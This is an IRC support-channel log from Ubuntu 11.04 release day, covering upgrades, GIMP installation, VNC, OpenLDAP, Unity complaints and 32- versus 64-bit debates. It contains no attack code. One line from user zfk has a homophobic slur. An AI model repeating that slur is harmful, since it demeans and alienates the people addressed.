[13:22] <falxx> Incarus6: its just the arch
[13:22] <Soothsayer> well.. ye some dependencies css, js files, etc are not loading
[13:22]  * kellnola is waiting until June to dist-upgrade
[13:23] <genupulas> Incarus6:  you mean the entire code he has given ....
[13:23] <bencc> zvacet: velcroshooz: kellnola: ok, thanks.
[13:23] <Soothsayer> why is the 32-bit 'recommended' ?
[13:23] <Incarus6> falxx.. i never said "ure" *confused* or right.. the package ure... yeah, that could cause the problem
[13:23] <falxx> but hey, I can just remove openoffice for now
[13:23] <zvacet> Soothsayer: everyone want new release at first day so we all can have problems with servers
[13:23] <henux> ubuntu.com works for me
[13:23] <william2> I've installed vnc4server and ubuntu desktop.  I started :1 and killed it to create the config file for VNC.  I get the error "GTK-Warning ** cannot open display" when I execute "sudo gedit ~/.vnc/xstartup".  How can I remedy this?
[13:23] <Incarus6> genupulas, its a log file (var/log/dist-upgrade/apt.log
[13:23] <bencc> Soothsayer: for most use cases it takes less memory
[13:23] <jatt> 64-bit as a long history of trouble in the desktop
[13:23] <jbwiv___> is the website hosed for anyone else (from a stylesheet perspective?
[13:23] <kellnola> TORRENTS people
[13:23] <kellnola> jatt, yeah like 4 years ago
[13:23] <velcroshooz> batman people
[13:23] <Psydoll> Hello I need some help please!
[13:23] <jbwiv___> jatt, rly? I've run 64-bit on the desktop for years with no problem
[13:23] <bencc> Soothsayer: if you have more than 4GB of ram, maybe you need the 64bit (on windows you do)
[13:24] <zvacet> kellnola:  +1
[13:24] <Incarus6> jbwiv___, it was, reload cache
[13:24] <Soothsayer> true
[13:24] <Psydoll> Does anyone here use any kind of programe for linux like photoshop???
[13:24] <Incarus6> !ask | psydoll
[13:24] <ubottu> psydoll: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[13:24] <kellnola> Psydoll, gimp is the best by far
[13:24] <[TK]D-Fender> Psydoll: GIMP
[13:24] <velcroshooz> Psydoll, gimp
[13:24] <Psydoll> gimp i see!
[13:24] <ubuntu> Higlighted icons for Kaffeine and Amarok in launcher (or dash) look like disaster...
[13:24] <velory1> Hi, 11.04 released today right ?
[13:24] <kellnola> Psydoll, but it does not have all the features of photoshop 4 or 5
[13:25] <PhoenixSTF> velory1, yes
[13:25] <Psydoll> sudo apt-get install gimp?
[13:25] <velory1> asking this because I was using 11.04 beta and today I can't see any update
[13:25] <zvacet> velory1:  it is out
[13:25] <jatt> kellnola: o'rly? https://bugs.launchpad.net/ubuntu/maverick/+source/linux/+bug/659143
[13:25] <ubottu> Ubuntu bug 659143 in linux (Ubuntu Maverick) "64bit-only: regression: kernels >=2.6.34: rt2800pci: load firmware Error with ralink [1814:0781]" [Medium,Fix released]
[13:25] <velory1> zvacet, PhoenixS ^^
[13:25] <jatt> 64-bit is a pain in the neck
[13:25] <jatt> anyway
[13:26] <zvacet> Psydoll:  I think you have gimp by default
[13:26] <jatt> so the sane thing to do is to use 32bit you won't lose performance or anything
[13:26] <Psydoll> zvacet i cant find it under applications?
[13:26] <falxx> works fine for me
[13:26] <jatt> unless you need lots of ram
[13:26] <AdmV0rl0n> I'll torrent the new release for a while. Should help as its a 100MB connection.
[13:26] <velory1> so can't we update from rc to release version or did I already updated?
[13:26] <falxx> 8gb mem, I need 64bit
[13:26] <velcroshooz> gimp is not installed by default.
[13:26] <velory1> how can I know
[13:26] <arand> jatt: It's the other way around.
[13:26] <KM0201> velcroshooz: i don't think it was in in 10.10 either
[13:26] <zvacet> Psydoll: under graphic I think (I'm not at ubuntu comp right now)
[13:26] <kellnola> is gimp stil under active development? it doesn't seem to have moved forward in a while
[13:27] <Psydoll> ubuntu@ubuntu:~$ sudo apt-get install gimp
[13:27] <Psydoll> Reading package lists... Done
[13:27] <Psydoll> Building dependency tree
[13:27] <Psydoll> Reading state information... Done
[13:27] <Psydoll> E: Unable to locate package gimp
[13:27] <FloodBot2> Psydoll: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:27] <LjL> !info gimp
[13:27] <Psydoll> sorry i got that errir
[13:27] <ubottu> gimp (source: gimp): The GNU Image Manipulation Program. In component main, is optional. Version 2.6.10-1ubuntu3.2 (maverick), package size 4231 kB, installed size 12276 kB
[13:27] <Incarus6> kellnola, yes, gimp 3 is to be released soon
[13:27] <kellnola> Incarus6, \o/
[13:27] <Psydoll> zvacet its not there it doesnt come with it
[13:27] <KM0201> Psydoll: its int he repos, cuz i installed it, check your repository listing
[13:27] <LjL> Psydoll: uhm. please pastebin your /etc/apt/sources
[13:27] <velcroshooz> gimp is soon to hit a new milestone, still inder active development
[13:27] <LjL> Psydoll: uhm. please pastebin your /etc/apt/sources.list
[13:27] <trans> hello guys, just upgraded to natty, how to get dash full screen by default
[13:27] <william2> I get the error "GTK-Warning ** cannot open display" when I execute "sudo gedit ~/.vnc/xstartup".  What can I do?
[13:27] <velory1> can't I update from RC version to Release version or how can I know which version I'm using right now ?
[13:27] <Incarus6> kellnola, they got a slow programming progress ;)
[13:27] <kellnola> trans, ? ctrl-alt F1
[13:27] <LjL> william2: use gksudo gedit instead
[13:28] <jrib> !final | velory1
[13:28] <ubottu> velory1: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[13:28] <tsaknorris> william2: your DM isnt running :/
[13:28] <arand> jatt: 64bit is almost always better as far as performance goes, and PAE allows using < 64G memoery on 32bit..
[13:28] <zvacet> Psydoll:  enable universe repo in ubuntu software center>edit>repositories
[13:28] <tsaknorris> william2: if you use gnome its GDM
[13:28] <william2> hmm
[13:28] <VlRUS> :(
[13:28] <VlRUS> I hate natty whale
[13:28] <VlRUS> :S
[13:29] <VlRUS> I don't have full window effect
[13:29] <VlRUS> why?
[13:29] <velcroshooz> he is a narwhal, big differnece
[13:29] <Incarus6> VlRUS, are u using Unity?
[13:29] <william2> I tried sudo /etc/init.d/gdm start
[13:29] <VlRUS> Nop
[13:29] <VlRUS> Ubuntu classic
[13:29] <velory1> jrib:  so is it possible to learn which version I'm using ?
[13:29] <Incarus6> VlRUS, sure you arent?
[13:29] <LjL> william2: do you currently have a graphical desktop, or not?
[13:29] <william2> nope
[13:29] <jrib> !version | velory1
[13:29] <ubottu> velory1: To find out what version of Ubuntu you have, type « lsb_release -a » in a !shell - To know the available version of a package, « apt-cache policy <package> »
[13:29] <tsaknorris> william2: ok nothing happened??
[13:29] <VlRUS> I'm using Gnome
[13:29] <kellnola> really, 32 bit is for 1GB or less, anything more gives a performance hit vs. 64 bit. I can't imagine anyone having 1GB on a desktop these days. I am broke and have the mem.
[13:29] <Incarus6> william2, better try "sudo start gdm" or "sudo stop gdm"
[13:29] <LjL> william2: then gedit won't work. use "sudo nano" instead, it's quite easy to use as an editor
[13:30] <velory1> jrib:  thanks
[13:30] <william2> It saok
[13:30] <velcroshooz> kellnola, some of us dont want to deal with multilib issues, so stick with 32
[13:30] <VlRUS> And I installed amd radeon 6850 hd drivers (catalyst) and i haven't fully window effects
[13:30] <VlRUS> :S
[13:30] <velory1> where can we look window effects ?
[13:30] <william2> Sudo start gdm > job is already running: gdm
[13:31] <kellnola> velcroshooz, yeah. One of the things RHEL actually did right was make all 32 bit libs and apps available by just appending ".i386" to the package name
[13:31] <tsaknorris> william2: alt + f7
[13:31] <zvacet> velory1:  system>preferences>appearance
[13:32] <Jarod51> Hi
[13:32] <william2> sorry im in SSH
[13:32] <velcroshooz> kellnola, i have to run wine still so 64 bit makes me jump through a few hooops i would rather not
[13:32] <zfk> https://fbcdn-sphotos-a.akamaihd.net/hphotos-ak-snc6/218010_1973723108619_1409281673_2277450_8019470_n.jpg
[13:32] <william2> i can load vnc session :1 and see a terminal box
[13:32] <william2> but that's it
[13:32] <velory1> zvacet:  because of new (on the left) menu I can't find system > preferences :Ğ
[13:32] <velory1> :P
[13:32] <william2> i have installed gnome
[13:32] <william2> hmm
[13:32] <FloodBot2> william2: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:32] <zfk> I SAID SAUSAGE MCMUFFIN YOU FAGGOTS NOT SAUSAGE MCGRIDDLE
[13:32]  * zfk pukes
[13:32] <FloodBot2> zfk: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:32] <tsaknorris> william2: but that other computer where you have connection
[13:32] <tsaknorris> william2: is there GDM
[13:32] <velory1> zvacet:  there's no window effects tab
[13:32] <zvacet> velory1:  using natty?
[13:32] <william2> no im on a mac
[13:33] <Jarod51> I have upgraded to 11.04 and that is reaaaaaaally nice ! I have a just alittle problem. I have a dual screen setup and my unity launcher is on th wrong one... how do i move it ?
[13:33] <velory1> zvacet:  yes
[13:33] <LjL> zfk: join #ubuntu-ops if you wish to be unmuted
[13:33] <william2> sorry, let me clarify. i'm trying to get vnc remote desktop sessions running on a vps
[13:33] <VlRUS> I have Ubuntu 11.04 natthy whale final version Buuuuuuuut i don't have window effects!! Extra effects i'm telling T.T
[13:33] <zvacet> velory1:  sorry then I didn't try it yet
[13:33] <william2> i just installed ubuntu 10.04 lts
[13:33] <kellnola> Jarod51, switch the cables? :/
[13:33] <jnlsnl_> sd
[13:33] <Jarod51> kellnola, hé hé hé
[13:33] <kellnola> Jarod51, you can do it in Xorg.conf
[13:34] <sdh> i think the "-d" in "do-release-upgrade -d" can be removed now from the instructions at https://wiki.ubuntu.com/NattyNarwhal/TechnicalOverview
[13:34] <Incarus6> sdh, I think so too
[13:35] <william2> tsaknorris: you still there? :p
[13:35] <tsaknorris> william2: yes i am
[13:35] <VlRUS> Where can I find this window in 11.04? http://1.bp.blogspot.com/_kzYRFxk8_bE/SK6-ymhKRzI/AAAAAAAAABE/kDRms8Ub4Hc/s320/Screenshot-Appearance+Preferences.png
[13:35] <tsaknorris> william2: i know that you can startup graphics with ssh
[13:35] <tsaknorris> william2: there is own parameter for that
[13:35] <histo> VlRUS: hit window key and type in appearance
[13:36] <VlRUS> window key?
[13:36] <histo> VlRUS: nvm they got rid of it. You'd have to install compizconfig-settings-manager if you want to add more effects
[13:36] <v_v> i just installed 11.04, and it seems awesome
[13:36] <DETERMIN> same here v
[13:37] <v_v> :)
[13:37] <kellnola> wait, does unity use compiz or does it have it's own thing?
[13:37] <velcroshooz> kellnola, usews compiz
[13:37] <tsaknorris> william2: -X parameter read from man ssh
[13:37] <v_v> compiz is on
[13:37] <rumpe1> kellnola, now compiz, somewhere in the far future wayland...
[13:37] <william2> tsaknorris: http://paste.ubuntu.com/600248/
[13:37] <Psydoll> whats GOING ON?
[13:37] <DarkStar1> can someone help me pls with openldap configuration pls? the slapd.conf file doesn't exist despite the fact that the daemon runs
[13:37] <LjL> Psydoll: i don't know, what is?
[13:37] <Psydoll> CAN SOMEONE TELL ME HOW TO PLAY EVE ONLINE ON UBUNTU?
[13:38] <LjL> !caps | Psydoll
[13:38] <ubottu> Psydoll: PLEASE DON'T SHOUT! We can read lowercase too.
[13:38] <Psydoll> ok
[13:38] <tsaknorris> http://paste.ubuntu.com/600249/
[13:38] <Psydoll> sorry
[13:38] <kellnola> DarkStar1, IIRC, isn't it in /etc/slapd/ ?
[13:38] <tsaknorris> william2: http://paste.ubuntu.com/600249/
[13:38] <DarkStar1> Psydoll: wine/virtualbox => windows => ubuntu :0
[13:38] <william2> ok
[13:38] <[TK]D-Fender> Psydoll: http://www.google.ca/#hl=en&xhr=t&q=eve+online+ubuntu&cp=13&pf=p&sclient=psy&biw=1920&bih=1115&source=hp&aq=0&aqi=&aql=&oq=eve+online+ub&pbx=1&fp=8b5a1f5ac460de07
[13:39] <An_Ony_Moose> this laptop often shuts down randomly after a while. I can't find anything indicating a reason for this in syslog, where should I look? It seems to be a normal shutdown as started by running sudo halt - windows close one by one until only the desktop background is visible, then the normal splash screen shows up and the computer turns off after a while.
[13:39] <[TK]D-Fender> PsyI see more than half a dozen "how-to's" in the first page of results...
[13:39] <DarkStar1> kellnola: no such directory..
[13:39] <v_v> i tried 11.04 on my box. im considering  replace the debian on my laptop
[13:39] <DarkStar1> kellnola: and I have installed slapd twice now
[13:39] <Incarus6> An_Ony_Moose
[13:39] <Incarus6> An_Ony_Moose, did you google the issue. sry
[13:40] <kellnola> DarkStar1, dpkg -L slapd
[13:40] <nameless`> english question : is the sentence « he's a man of the good » correct ? or grammatically right ?
[13:40] <kellnola> nameless`, no
[13:40] <kellnola> grammatically, yes I suppose
[13:41] <nameless`> kellnola: even in a book ? something unusual ?n
[13:41] <VlRUS> Uhm
[13:41] <kellnola> nameless`, well if it's creative writing ok
[13:41] <velcroshooz> nameless`, it works, he's a good man is more appropriate these days, but whatev
[13:42] <An_Ony_Moose> Incarus6: what should I google? ubuntu shutdown? It isn't a very specific issue and I'd like to know where to look for a reason.
[13:42] <nameless`> velcroshooz: kellnola thanks to both of you
[13:42] <thegoodcushion> Hi everyone.  My Ubuntu can't seem to access the repos.  Is that because of overuse?
[13:42] <nameless`> thegoodcushion: did you try to apt-get update before ?
[13:42] <thegoodcushion> nameless`: That won't complete
[13:43] <nameless`> thegoodcushion: change your mirrors then
[13:43] <DJones> thegoodcushion: Most likely, with it being a new release, the servers will be under heavy use
[13:43] <thegoodcushion> nameless`: It's saying "Downloaded 0B of 1B"
[13:43] <thegoodcushion> it's ridiculous
[13:44] <Incarus6> An_Ony_Moose, it could be an issue related to your hardware. sounds like a problem with overheating or in general something like that (energy saving?). Or it could be that you press the wrong buttons
[13:44] <thegoodcushion> anyway I suppose I can live with a couple of days of no repo
[13:44] <DarkStar1> anyon else? since kellnola has disappeared?
[13:44] <Incarus6> thegoodcushion, you can try to change the update server to a local one instead of the generl servers
[13:45] <thegoodcushion> ok
[13:45] <Incarus6> DarkStar1, explain the exact problem
[13:45] <thegoodcushion> So what's the verdict on 11.04?
[13:45] <jatt> don't upgrade
[13:45] <Incarus6> can't upgrade
[13:46] <thegoodcushion> I'm a bit unsure about Unity
[13:46] <^Phantom^> i have more info on the minecraft crashing issue
[13:46] <AdmV0rl0n> I'm not.
[13:46] <^Phantom^> here's a pastebin of the java console output
[13:46] <^Phantom^> http://pastebin.com/9Wk10TPt
[13:46] <DarkStar1> Incarus6: I've installed slapd twice now and trying to configure it, and check the conf file for errors because I can't add schemas to openldap but it doesn't have a slapd.conf file as listed by the tutorials
[13:46] <AdmV0rl0n> Unity isn't for me.
[13:47] <AdmV0rl0n> Not unless it goes through a sever amount of adding configurability to it.
[13:47] <thegoodcushion> is it as simple as just selecting not to use it?
[13:47] <buff27> AdmV0rl0n, not for me either.... I moved to Xubuntu
[13:47] <Flynsarmy> I installed pidgin and closed the contact list. i have a contact window open. How do i get the contact list back? Clicking on the pidgin icon in the unity bar on the left does nothing. there's no system tray icon.
[13:47] <petisnnake> hello, where can I find the httpd binary?
[13:47] <buff27> thegoodcushion, log into clasic desktop instead
[13:47] <AdmV0rl0n> gnome 3 isn't for me either.
[13:47] <Incarus6> DarkStar1, sometimes ubuntu tries to find the right configuration and you dont have a configuration file by default (like xorg.conf), so you have to create it. or did it change the "position" / directory?
[13:47] <thegoodcushion> buff27: is it as simple as that?
[13:48] <Macer> hm. found some cpus for my ubuntu server for $50
[13:48] <thegoodcushion> AdmV0rl0n: are you a KDE man?
[13:48] <AdmV0rl0n> nope
[13:48] <Macer> 2.6 dual core opterons.. awesome
[13:48] <buff27> thegoodcushion, pretty much for 11.04
[13:48] <Macer> i have 2 dual core 1.8 265s now :)
[13:48] <thegoodcushion> buff27: I worry that the GNOME environment won't be as well-supported as Ubuntu moves away from it
[13:48] <buff27> thegoodcushion, 11.10 may not be
[13:48] <Macer> that should be a good bump
[13:48] <AdmV0rl0n> I have not liked much now for a long time. I think most of the desktop direction is wrong, is bad, and seems to be being built for tablets, not desktops.
[13:48] <tsaknorris> ^Phantom^: so you didnt got that SUN JAVA even minecraft needs it
[13:49] <maco> DarkStar1: dpkg -L slapd    <-- maybe there's a sample config file somewhere?
[13:49] <An_Ony_Moose> Incarus6: but how would I find out? /var/log/syslog tells me nothing useful, where else can I look?
[13:49] <LALALLAA> hello when come 11.10
[13:49] <nerdshell> When I try to open the settings of a virtual machine in VM Box it says "failed to access the USB subsystem". What can I do please ?
[13:49] <buff27> thegoodcushion, have you taken a look at what gnome is doing anyway....... looks similar to unity to me
[13:49] <^Phantom^> tsaknorris, I did, but I can't figure out how to launch it with that one via terminal
[13:49] <avij> hi, can someone please point me to an Ubuntu mirror that is a) accessible with rsync and b) carries the .iso images and c) is located somewhere in Europe. I'd like to conserve some bandwidth by rsyncing from the beta2 .iso images that I already have.
[13:49] <thegoodcushion> buff27: GNOME is not Unity
[13:49] <DarkStar1> Incarus6: no it didn't change directory but according to the document it comes with a config file but I don't see any in it's directory
[13:49] <Macer> uhm... is zfs built into the 11.04 install?
[13:49] <LALALLAA> hello when come 11.10
[13:49] <thegoodcushion> So any other opinions about 11.04 out there?
[13:49] <thegoodcushion> LALALLAA: October 2011
[13:49] <Incarus6> An_Ony_Moose, I can't help you with that, sry
[13:50] <An_Ony_Moose> Incarus6: ok, thanks anyway
[13:50] <Flynsarmy> anyone? seems like a pretty awful UI...can't even get the contact list back. no system tray icon
[13:50] <Kereltis> I just installed 11.04 and I'm loving it :)
[13:50] <buff27> thegoodcushion, i realise that, but gnome 3 screenshots (shell) look similar to unity shell
[13:50] <lukus> hi
[13:50] <arand> Macer: Not as far as I know, and likely might never be..
[13:50] <Incarus6> DarkStar1, /etc/X11/xorg.conf doesn't exist too, you have to create that file first
[13:50] <lukus> is natty good to go?
[13:50] <DarkStar1> maco: I grepped a .conf out of that just now and found just one file in the manual directory?
[13:50] <thegoodcushion> What's the gcc/clang on 11.04?
[13:50] <histo> avij: any of the mirrors should support rsync
[13:50] <nerdshell> !ubuntu+1 | lukus
[13:50] <ubottu> lukus: Natty Narwhal is the codename for Ubuntu 11.04 - Natty is NOT released and is NOT stable - Discussion and support only in #ubuntu+1
[13:50] <brianl> So i was running the 11.04 beta release, and when i try and to an update, it says I can only do a partial upgrade?
[13:50] <thegoodcushion> which version I mean
[13:50] <tsaknorris> ^Phantom^: sudo apt-get install sun-java6-jre
[13:50] <Macer> arand: hopefully some day
[13:50] <histo> avij: rsync doesnt care where you are pulling from
[13:50] <nerdshell> When I try to open the settings of a virtual machine in VM Box it says "failed to access the USB subsystem". What can I do please ?
[13:50] <Pici> nerdshell: Natty is released.
[13:51] <^Phantom^> got it
[13:51] <maco> DarkStar1: thatd probably be a sensible place to put example files
[13:51] <lukus> nerdshell, I thought it had been released
[13:51] <Macer> anyways... bbl.. when the 11.04 hype dies down
[13:51] <^Phantom^> I have the runtime installed
[13:51] <thegoodcushion> nerdshell: that needs to be updated
[13:51] <AdmV0rl0n> er... distrowatch say its released
[13:51] <Macer> :)
[13:51] <thegoodcushion> 11.04 is officially released, the bot needs to be updated
[13:51] <fslima0> xubuntu 11.04 also released?
[13:51] <DarkStar1> Incarus6: it's a very complicated file to create and as it's supposed to have stuff in there that, when I read about, looks very complicated... Can't believe it's meant to be created by your average joe
[13:51] <nerdshell> When I try to open the settings of a virtual machine in VM Box it says "failed to access the USB subsystem". What can I do please ?
[13:51] <tsaknorris> ^Phantom^: replace jre also with jdk
[13:51] <Sidewinder1> !natty
[13:51] <ubottu> Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[13:51] <DarkStar1> esp a beginner
[13:51] <numberto> My dash in ubuntu is not working - when I type to search for gedit, the circle just spins for couple of seconds and finds nothing
[13:52] <avij> histo: I wasn't able to find such a server. care to give me an example of a mirror that fulfills all the three conditions I mentioned?
[13:52] <brianl> So i was running the 11.04 beta release, and when i try and to an update, it says I can only do a partial upgrade? And that doesn't even seem to work...Am i not able to update via update-manager?
[13:52] <Pici> thegoodcushion: factoid updated.
[13:52] <histo> numberto: is it installed?
[13:52] <tsaknorris> ^Phantom^: and you cannot maybe use both javas..open and sun...you have to remove openjdk....
[13:52] <Sidewinder1> As above...
[13:52] <thegoodcushion> Pici: good work
[13:52] <numberto> histo: I installed ubuntu 11.04     3 days agon
[13:52] <Ongika> Ola bruderz
[13:52] <histo> numberto: no are you sure gedit is installed
[13:52] <^Phantom^> tsaknorris, so maybe it's still going through openjdk even though I choose sun?
[13:52] <Ongika> Pici bruder && ikonia bruder
[13:52] <numberto> yes
[13:52]  * ^Phantom^ goes and removes open
[13:53] <numberto> histo:  it does not find anything
[13:53] <thegoodcushion> Can anyone with 11.04 type gcc -v and clang -v and tell me what versions of each are installed by default?
[13:53] <tsaknorris> ^Phantom^: you can use synaptic package manager its easier....
[13:53] <Incarus6> DarkStar1, that could help: http://www.linuxquestions.org/questions/linux-server-73/openldap-error-cant-find-slapd-conf-721784/
[13:53] <tsaknorris> ^Phantom^: yes
[13:53] <coz_> ^Phantom^,  open synaptic   hit search  and type  icedtea,,, remove all installed packages  and sun will be default at t hat point
[13:53] <numberto> histo:  neither alt + 2
[13:53] <jrib> thegoodcushion: packages.ubuntu.com is likely enough for you
[13:53] <^Phantom^> doing so now
[13:53] <Flynsarmy> Is there a way to attach menus back onto their app windows? having it in the top bar is very annoying
[13:53] <tsaknorris> im off now..bye all :)
[13:54] <coz_> oh boy ,, is everyone on natty now ?? :)
[13:54] <numberto> shuould I reinstall unity?
[13:54] <jatt> no
[13:54] <jatt> uninstall it
[13:54] <coz_> Flynsarmy,   you mean in Unity?
[13:54] <Flynsarmy> coz_: if i were allowed I would be using many creative words to describe how i feel about unity right about now lol
[13:54] <Flynsarmy> coz_: yep
[13:54] <coz_> Flynsarmy,  well no unless you log off and then change the session to classic gnome
[13:55] <histo> numberto: huh?
[13:55] <velcroshooz> Flynsarmy, on login you can choose ubuntu classic, gnome 2.x
[13:55] <Flynsarmy> velcroshooz: that'll only save me until they remove classic :(
[13:55] <[Soma]> I'd like to move the top-bar in unity to the bottom, which is the way I had it before upgrading to 11.04. but I'm not even able to right-click the top bar or drag it or do anything. suggestions?
[13:55] <coz_> Flynsarmy,  I hear you  for sure,,   Unity is best used on small screens  so   use classic gnome
[13:55] <cornel_> hello ll
[13:55] <Trashi1> whats the easiest way to add a shortcut to the new unity sidebar?
[13:55] <AceKing> Damn! took me 3 minutes to download 11.04! I'm surprised it wasn't slower with all the downloads going on.
[13:55] <velcroshooz> Flynsarmy, thats six months to the day at the VERY leats ;)
[13:55] <histo> Trashi1: drag it there
[13:55] <coz_> Flynsarmy,  if classic is removed at some point,, I am guessing it will be an easy install
[13:56] <jatt> lol not many people use ubuntu
[13:56] <Trashi1> histo: doesnt work
[13:56] <lukus> has anyone here upgraded to natty yet?
[13:56] <cornel_> i have one problem: "sudo: must be setuid root" in 10.04
[13:56] <numberto> histo:  I really don't know what to do.  I watched the video of new 11.04 and wanted to try it. I really love how it  look but most functions does not work. I wander if there something which didn't install correctly, just don't know how to find out
[13:56] <^Phantom^> okay, trying with openjdk uninstalled
[13:56] <Flynsarmy> i wonder if the point of unity was to make things easier to do or to hide things from the screen. seems everything takes at the bare minimum 1 extra click to do. hell - finding what apps you have installed is now a fight between man and machine
[13:56] <coz_> actually  there should be 2  releases   Unity   and ubuntu
[13:56] <launch> Hi, what is the difiference between version terminating by .10 and those   terminating by .04
[13:56] <thegoodcushion> For the record, clang 2.8 and gcc 4.5.2
[13:56] <coz_> at least that is my opinion
[13:56] <lukus> launch, its the month number
[13:56] <coz_> ok let me boot into natty
[13:57] <histo> launch: .10 comes out in october .04 is in april
[13:57] <launch> lukus, histo: thanks
[13:58] <lukus> so some people are having problems with natty?
[13:58] <[Soma]> wow having an app open in unity is annoying. and I can't even alt-tab into a new tab. I have to minimise my app so I can select another one. since of course there's no task bar either
[13:58] <[Soma]> :S
[13:58] <elb0w> If I upgrade to 11.04 what do I lose from 10.10?
[13:58] <^Phantom^> Seems to be running good so far
[13:58] <z0mbyk1d> ok, has anyone dist-upgraded to 11.04 from 10.10 server i386? have any 'gotchas' been discovered? :)
[13:58]  * ^Phantom^ knocks on wood
[13:59] <jatt> unity was intended to by an April 1.
[13:59] <Flynsarmy> has anyone got anything good to say about unity lol
[13:59] <jatt> joke
[13:59] <peto_> join
[13:59] <[Soma]> Flynsarmy : not yet :o
[13:59] <velcroshooz> this channel is going to be drowned with unity haters for the next few months :/
[13:59] <z0mbyk1d> haha
[13:59] <elb0w> how do I install gnome3 on 11.04?
[13:59] <z0mbyk1d> yeah i am not bothering with ubuntu desktop
[13:59] <z0mbyk1d> interested in server though...
[13:59] <[Soma]> I'd love to love unity, but I can't figure out how anything works.
[14:00] <LjL> !netsplit
[14:00] <ubottu> netsplit is when two IRC servers of the same network (like freenode) disconnect from each other, so users on one server stop seeing users on the other. If this is happening now, just relax and enjoy the show. See http://en.wikipedia.org/wiki/Netsplit
[14:00] <OerHeks> elb0w, you can install the unstable ppa
[14:00] <HF_acid> [Soma]: I agree
[14:00] <[Soma]> it doesn't seem very handy :S
[14:00] <[TK]D-Fender> elb0w: http://www.google.ca/#sclient=psy&hl=en&site=&source=hp&q=install+gnome3+on+11.04&aq=f&aqi=&aql=&oq=&pbx=1&fp=8b5a1f5ac460de07
[14:00] <OerHeks> !gnome3
[14:00] <end_user> Unity in suffering
[14:00] <jatt> hehe
[14:00] <velcroshooz> i am not a guinea pig, i wait for everyone else to figure out the problems
[14:00] <elb0w> [TK]D-Fender, was asking here incase of the "DONT DO IT"
[14:01] <jatt> unity is beta
[14:01] <Flynsarmy> i dreaded icons on the left but they turned out to be a pleasant surprise so i went into this very open minded. but....the only real way to describe this is 'wtf'. what were they thinking?
[14:01] <HF_acid> hey guys, I just installed Natty and upon attempting to connect to the wireless it's asking for me to unlock the default keyring.  It's not the password I created on install and leaving it blank doesn't work either. I'm not using autologin which reportedly would create this prompt in order to create a password. Unfortunately I'm woefully lacking knowledge of the keyring system
[14:01] <jatt> can you move the unity bar to the bottom?
[14:01] <jatt> the left one
[14:01] <[TK]D-Fender> elb0w: Then you should have asked "Is it a bad idea to install Gnome3 on 11.04?"
[14:01] <MohammadAG> is there a way to upgrade without update-manager? dist-upgrade doesn't show any new packages
[14:02] <histo> jatt: let me check
[14:02] <coz_> elb0w,  if you install gnome3  it will break Unity
[14:02] <z0mbyk1d> MohammadAG: you need to update, safe-upgrade first
[14:02] <z0mbyk1d> so that the new update-manager can be installed
[14:02] <^Phantom^> Thank you for your time, everyone that helped me.  It is playing fine once again.
[14:02] <Soothsayer> If I'm going to dual boot windows 7 and ubuntu..
[14:02] <Soothsayer> If I'm going to dual boot windows 7 and ubuntu, all the NTFS partitions will be available to both right ?
[14:02] <jatt> histo: I guess is not possible?
[14:03] <HF_acid> Soothsayer: should be
[14:03] <[TK]D-Fender> Soothsayer: Yes
[14:03] <palmje> Soothsayer: linux can read/write ntfs partitions
[14:03] <Soothsayer> So that means even the main Windows 7 partition will be available ?
[14:03] <Soothsayer> where the windows os is installed?
[14:03] <MohammadAG> z0mbyk1d, well, update-manager's crashing/hanging when I click upgrade, so I'm looking for another way to do that
[14:03] <arand> HF_acid: Go into passwords and encryption keys, I presume is should be there, you can delete it from there which will re-make it next time..
[14:03] <launch> yes
[14:03] <blacknumber> yes
[14:03] <blacknumber> it is
[14:03] <histo> jatt: I don't see a way but you can check. If you install compizconfig-settings-manager it will give you all theoptions to configure unity
[14:04] <coz_> Soothsayer,  yes although I would google      ubuntu dual boot  windows 7   to be sure there are no particular things that have to be done
[14:04] <elb0w> coz_, do you promise? haha
[14:04] <elb0w> Will it break anything else?
[14:04] <HF_acid> arand: thanks I'll give it a try
[14:04] <jatt> histo: I am using unity-2d
[14:04] <jatt> histo: no compiz I guess
[14:04] <kristoffer_> whats the relase room?
[14:04] <velcroshooz> always expect it to break everything.
[14:04] <ImperialXT> I'm sure this has been answered a hundred times already, but is there anyway to install gnome 3 on 11.04 ? I know it doesn't come with it by default
[14:04] <elb0w> guess ill wait a bit then before I put it on my dev box
[14:04] <coz_> elb0w,    that one I am not sure,,, you could remove unity,,, and then install gnome3  ,, however,,, gnome3 uses mutter as the compositor,, I dont think it can   compete with compiz
[14:04] <histo> !party > kristoffer_
[14:04] <ubottu> kristoffer_, please see my private message
[14:05] <DirtyDawg> quick Question guys, if i am doing a regular install and not a wubi one, and i am using 2 partitions (3 inc swap) one for / and one for home, what size / should be a good size
[14:05] <HF_acid> ImperialXT: I heard there's a PPA if you want to try that, I have no experience with it though
[14:05] <ImperialXT> HF_acid:  kk ty
[14:05] <arand> DirtyDawg: ~20G
[14:05] <brianl> Has anyone been able to upgrade to the 11.04 release from the 11.04 beta release through update-manager??
[14:05] <Schoentoon> Hello, are there any easy ways to get a touch screen to work on ubuntu?
[14:05] <DirtyDawg> arand: k mate thx
[14:05] <Pici> !final | brianl
[14:05] <ubottu> brianl: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[14:05] <zamba> 11.04 is LTS?
[14:05] <Omega> Good day #ubuntu, it's going to be a long day today :)
[14:06] <Pici> zamba: No.
[14:06] <arand> DirtyDawg: Or, well with a separate home, you'll probably be more thatn fine with ~10G
[14:06] <zamba> Pici: when's the next LTS out?
[14:06] <velcroshooz> DirtyDawg, the OS requires around 4 gigs, so how much you need for apps and ata outside of that is your decision
[14:06] <coz_> brianl,   all you need to do is  sudo apt-get update && sudo apt-get dist-upgrade  to get up to speed
[14:06] <brianl> That is what I have been doing
